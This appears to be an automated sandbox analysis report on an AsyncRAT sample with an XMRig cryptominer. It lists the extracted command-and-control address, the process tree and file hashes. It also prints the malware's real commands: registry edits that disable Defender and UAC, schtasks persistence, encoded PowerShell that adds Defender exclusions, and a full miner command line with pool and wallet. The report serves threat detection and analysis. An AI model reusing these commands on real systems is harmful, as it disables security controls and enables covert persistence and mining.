asyncrat | 0a7f831cb637214cae61b0e833bd5e5fabadd5dc5d4d68331fe76cce091e1542

Analysis

max time kernel
147s
max time network
151s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 14:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

munchenclient.exe
Size

6.3MB
MD5

b995bac46098f434d11d84ec79bcb6ac
SHA1

3bb75ae3a8ec4054ccbeea3e3b2daf854bad81e2
SHA256

0a7f831cb637214cae61b0e833bd5e5fabadd5dc5d4d68331fe76cce091e1542
SHA512

72a515bfb170f0c06a26b3907cf31802a1ebb3b148d0f3a60d4424ea899f5f1b38d9a4bfd5fe25960d65eda8623e9ac12f1069d2940b1ad7e234c8bf78da54ce
SSDEEP

196608:kpPx7IW+Ryxgp1qRAL1vJYrET+9b6P32gm/uMkOPx5WzN:k9x5gp1qSL1vJYrM8b+3NkOOPxy

Score

10^/10

asyncrat xmrig gibsons defense_evasion discovery evasion execution miner rat trojan upx

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Gibsons

198.98.58.93:999

Mutex

obamanet_floyd999

Attributes

delay
1
install
true
install_file
Core Sound Service.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/3036-92-0x0000000000B30000-0x0000000000B3E000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

Core Sound Service.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	Core Sound Service.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

Core Sound Service.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	Core Sound Service.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe	family_asyncrat

XMRig Miner payload 17 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/2396-249-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-262-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-260-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-253-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-251-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-247-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-245-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-243-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-257-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-255-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-241-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-265-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-268-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-266-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-267-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-264-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2396-269-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

776 powershell.exe
1560 powershell.exe

pid	process
776	powershell.exe
1560	powershell.exe

Executes dropped EXE 10 IoCs

Processes:

munchenclients.exeCore Sound Service.exeBuilt.exeBuilt.exeCore Sound Service.exesplwow64.exeservices64.exeCore Sound Service.exesihost64.exe

pid	process
2728	munchenclients.exe
2880	Core Sound Service.exe
2724	Built.exe
3064	Built.exe
3036	Core Sound Service.exe
1248
2816	splwow64.exe
908	services64.exe
1928	Core Sound Service.exe
496	sihost64.exe

Loads dropped DLL 12 IoCs

Processes:

munchenclient.exemunchenclients.exeBuilt.exeBuilt.exepowershell.execmd.execonhost.exe

pid	process
2668	munchenclient.exe
2668	munchenclient.exe
2728	munchenclients.exe
2724	Built.exe
3064	Built.exe
1248
776	powershell.exe
776	powershell.exe
2952	cmd.exe
2952	cmd.exe
1544	conhost.exe
1544	conhost.exe

Windows security modification 2 TTPs 1 IoCs
evasion trojan

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

Core Sound Service.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features Core Sound Service.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	Core Sound Service.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

Core Sound Service.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	Core Sound Service.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 1544 set thread context of 2396 1544 conhost.exe explorer.exe

description	pid	process	target process
PID 1544 set thread context of 2396	1544	conhost.exe	explorer.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI27242\python310.dll	upx
behavioral1/memory/3064-61-0x000007FEF3ED0000-0x000007FEF433E000-memory.dmp	upx
behavioral1/memory/3064-91-0x000007FEF3ED0000-0x000007FEF433E000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exepowershell.exemunchenclient.exepowershell.exepowershell.exemunchenclients.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	munchenclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	munchenclients.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2208 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2212 schtasks.exe
2412 schtasks.exe

pid	process
2208	timeout.exe

pid	process
2212	schtasks.exe
2412	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeCore Sound Service.exepowershell.exepowershell.exeCore Sound Service.exepowershell.execonhost.execonhost.exeexplorer.exe

pid	process
2112	powershell.exe
2340	powershell.exe
2892	powershell.exe
2904	powershell.exe
2880	Core Sound Service.exe
2880	Core Sound Service.exe
2880	Core Sound Service.exe
2352	powershell.exe
1560	powershell.exe
3036	Core Sound Service.exe
776	powershell.exe
776	powershell.exe
776	powershell.exe
3036	Core Sound Service.exe
1744	conhost.exe
1544	conhost.exe
1544	conhost.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe
2396	explorer.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeCore Sound Service.exeCore Sound Service.exepowershell.exepowershell.exepowershell.execonhost.execonhost.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2880	Core Sound Service.exe
Token: SeDebugPrivilege	3036	Core Sound Service.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeDebugPrivilege	1744	conhost.exe
Token: SeDebugPrivilege	1544	conhost.exe
Token: SeLockMemoryPrivilege	2396	explorer.exe
Token: SeLockMemoryPrivilege	2396	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

munchenclient.exemunchenclients.exeBuilt.exeCore Sound Service.execmd.execmd.exeCore Sound Service.execmd.exepowershell.exesplwow64.exe

description	pid	process	target process
PID 2668 wrote to memory of 2112	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2112	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2112	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2112	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2340	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2340	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2340	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2340	2668	munchenclient.exe	powershell.exe
PID 2668 wrote to memory of 2728	2668	munchenclient.exe	munchenclients.exe
PID 2668 wrote to memory of 2728	2668	munchenclient.exe	munchenclients.exe
PID 2668 wrote to memory of 2728	2668	munchenclient.exe	munchenclients.exe
PID 2668 wrote to memory of 2728	2668	munchenclient.exe	munchenclients.exe
PID 2668 wrote to memory of 2880	2668	munchenclient.exe	Core Sound Service.exe
PID 2668 wrote to memory of 2880	2668	munchenclient.exe	Core Sound Service.exe
PID 2668 wrote to memory of 2880	2668	munchenclient.exe	Core Sound Service.exe
PID 2668 wrote to memory of 2880	2668	munchenclient.exe	Core Sound Service.exe
PID 2728 wrote to memory of 2892	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2892	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2892	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2892	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2904	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2904	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2904	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2904	2728	munchenclients.exe	powershell.exe
PID 2728 wrote to memory of 2724	2728	munchenclients.exe	Built.exe
PID 2728 wrote to memory of 2724	2728	munchenclients.exe	Built.exe
PID 2728 wrote to memory of 2724	2728	munchenclients.exe	Built.exe
PID 2728 wrote to memory of 2724	2728	munchenclients.exe	Built.exe
PID 2724 wrote to memory of 3064	2724	Built.exe	Built.exe
PID 2724 wrote to memory of 3064	2724	Built.exe	Built.exe
PID 2724 wrote to memory of 3064	2724	Built.exe	Built.exe
PID 2880 wrote to memory of 1368	2880	Core Sound Service.exe	cmd.exe
PID 2880 wrote to memory of 1368	2880	Core Sound Service.exe	cmd.exe
PID 2880 wrote to memory of 1368	2880	Core Sound Service.exe	cmd.exe
PID 2880 wrote to memory of 2776	2880	Core Sound Service.exe	cmd.exe
PID 2880 wrote to memory of 2776	2880	Core Sound Service.exe	cmd.exe
PID 2880 wrote to memory of 2776	2880	Core Sound Service.exe	cmd.exe
PID 2776 wrote to memory of 2208	2776	cmd.exe	timeout.exe
PID 2776 wrote to memory of 2208	2776	cmd.exe	timeout.exe
PID 2776 wrote to memory of 2208	2776	cmd.exe	timeout.exe
PID 1368 wrote to memory of 2212	1368	cmd.exe	schtasks.exe
PID 1368 wrote to memory of 2212	1368	cmd.exe	schtasks.exe
PID 1368 wrote to memory of 2212	1368	cmd.exe	schtasks.exe
PID 2776 wrote to memory of 3036	2776	cmd.exe	Core Sound Service.exe
PID 2776 wrote to memory of 3036	2776	cmd.exe	Core Sound Service.exe
PID 2776 wrote to memory of 3036	2776	cmd.exe	Core Sound Service.exe
PID 3036 wrote to memory of 2352	3036	Core Sound Service.exe	powershell.exe
PID 3036 wrote to memory of 2352	3036	Core Sound Service.exe	powershell.exe
PID 3036 wrote to memory of 2352	3036	Core Sound Service.exe	powershell.exe
PID 3036 wrote to memory of 1560	3036	Core Sound Service.exe	powershell.exe
PID 3036 wrote to memory of 1560	3036	Core Sound Service.exe	powershell.exe
PID 3036 wrote to memory of 1560	3036	Core Sound Service.exe	powershell.exe
PID 3036 wrote to memory of 2624	3036	Core Sound Service.exe	cmd.exe
PID 3036 wrote to memory of 2624	3036	Core Sound Service.exe	cmd.exe
PID 3036 wrote to memory of 2624	3036	Core Sound Service.exe	cmd.exe
PID 2624 wrote to memory of 776	2624	cmd.exe	powershell.exe
PID 2624 wrote to memory of 776	2624	cmd.exe	powershell.exe
PID 2624 wrote to memory of 776	2624	cmd.exe	powershell.exe
PID 776 wrote to memory of 2816	776	powershell.exe	splwow64.exe
PID 776 wrote to memory of 2816	776	powershell.exe	splwow64.exe
PID 776 wrote to memory of 2816	776	powershell.exe	splwow64.exe
PID 2816 wrote to memory of 1744	2816	splwow64.exe	conhost.exe
PID 2816 wrote to memory of 1744	2816	splwow64.exe	conhost.exe
PID 2816 wrote to memory of 1744	2816	splwow64.exe	conhost.exe

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

Processes:

Core Sound Service.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	Core Sound Service.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	Core Sound Service.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\munchenclient.exe
"C:\Users\Admin\AppData\Local\Temp\munchenclient.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2668

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAZAB1ACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAcwBoACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABjAG8AZABlACAAZQB4AGUAYwB1AHQAaQBvAG4AIABjAGEAbgBuAG8AdAAgAHAAcgBvAGMAZQBlAGQAIABiAGUAYwBhAHUAcwBlACAATQBTAFYAQwBQADEANAAwAC4AZABsAGwAIAB3AGEAcwAgAG4AbwB0ACAAZgBvAHUAbgBkAC4AIABSAGUAaQBuAHMAdABhAGwAbABpAG4AZwAgAHQAaABlACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuACAAbQBhAHkAIABmAGkAeAAgAHQAaABpAHMAIABwAHIAbwBiAGwAZQBtAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAG4AaQBxACMAPgA="
2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcwByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAaABrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AdgBpACMAPgA="
2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2340

C:\Users\Admin\AppData\Local\Temp\munchenclients.exe
"C:\Users\Admin\AppData\Local\Temp\munchenclients.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAeABoACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHMAbQBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABwAHIAbwBnAHIAYQBtACAAYwBhAG4AGSB0ACAAcwB0AGEAcgB0ACAAYgBlAGMAYQB1AHMAZQAgAE0AUwBWAEMAUAAxADQAMAAuAGQAbABsACAAaQBzACAAbQBpAHMAcwBpAG4AZwAgAGYAcgBvAG0AIAB5AG8AdQByACAAYwBvAG0AcAB1AHQAZQByAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHEAcABlACMAPgA="
3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeABhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AagBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGYAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAcAB1ACMAPgA="
3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2724

C:\Users\Admin\AppData\Local\Temp\Built.exe
"C:\Users\Admin\AppData\Local\Temp\Built.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3064

C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe
"C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2880

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Core Sound Service" /tr '"C:\Users\Admin\AppData\Roaming\Core Sound Service.exe"' & exit
3⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "Core Sound Service" /tr '"C:\Users\Admin\AppData\Roaming\Core Sound Service.exe"'
4⤵
- Scheduled Task/Job: Scheduled Task
PID:2212

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpDC5B.tmp.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:2776

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:2208

C:\Users\Admin\AppData\Roaming\Core Sound Service.exe
"C:\Users\Admin\AppData\Roaming\Core Sound Service.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension ".exe"
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1560

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\splwow64.exe"' & exit
5⤵
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\splwow64.exe"'
6⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:776

C:\Users\Admin\AppData\Local\Temp\splwow64.exe
"C:\Users\Admin\AppData\Local\Temp\splwow64.exe"
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\splwow64.exe"
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\services64.exe"
9⤵
PID:2772

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\services64.exe"
10⤵
- Scheduled Task/Job: Scheduled Task
PID:2412

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\services64.exe"
9⤵
- Loads dropped DLL
PID:2952

C:\Users\Admin\services64.exe
C:\Users\Admin\services64.exe
10⤵
- Executes dropped EXE
PID:908

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\services64.exe"
11⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
12⤵
- Executes dropped EXE
PID:496

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "/sihost64"
13⤵
PID:2100

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=83bM5DoDitniDg2ooQitzWKzapHhSvJmL8kn1dDcr4ST6wU8U6Cj7TN3FRXWJK3fDXNQBRf5TQ5qN2o1aCxi7vrxSi5T26L.ObamaNet --pass=johnlovesbbc --cpu-max-threads-hint=60 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=100 --tls --cinit-stealth
12⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2396

C:\Windows\system32\taskeng.exe
taskeng.exe {EF1A5678-7F04-470E-BC33-0A221E4C8FB5} S-1-5-21-1488793075-819845221-1497111674-1000:UPNECVIU\Admin:Interactive:[1]
1⤵
PID:1132

C:\Users\Admin\AppData\Roaming\Core Sound Service.exe
"C:\Users\Admin\AppData\Roaming\Core Sound Service.exe"
2⤵
- Executes dropped EXE
PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabF402.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe

Filesize
411KB

MD5
4cf5485962a77f230dc8f55b491130cd

SHA1
148418d84ec198032a3c384a03571dc45ee26a3d

SHA256
d976098cc4601c051f863f3eb9c0cb339471da6f67f6eae015b3f0239a44869b

SHA512
296abebc586c3bed08e8d195730e80426471f3a68833d054cbd31a09a61ba0a407844e70a5c713d67ffcc95bde7f7c0d5efc5307cee9fa88607e3117fe0b6ac5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2E3.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI27242\python310.dll

Filesize
1.4MB

MD5
178a0f45fde7db40c238f1340a0c0ec0

SHA1
dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe

SHA256
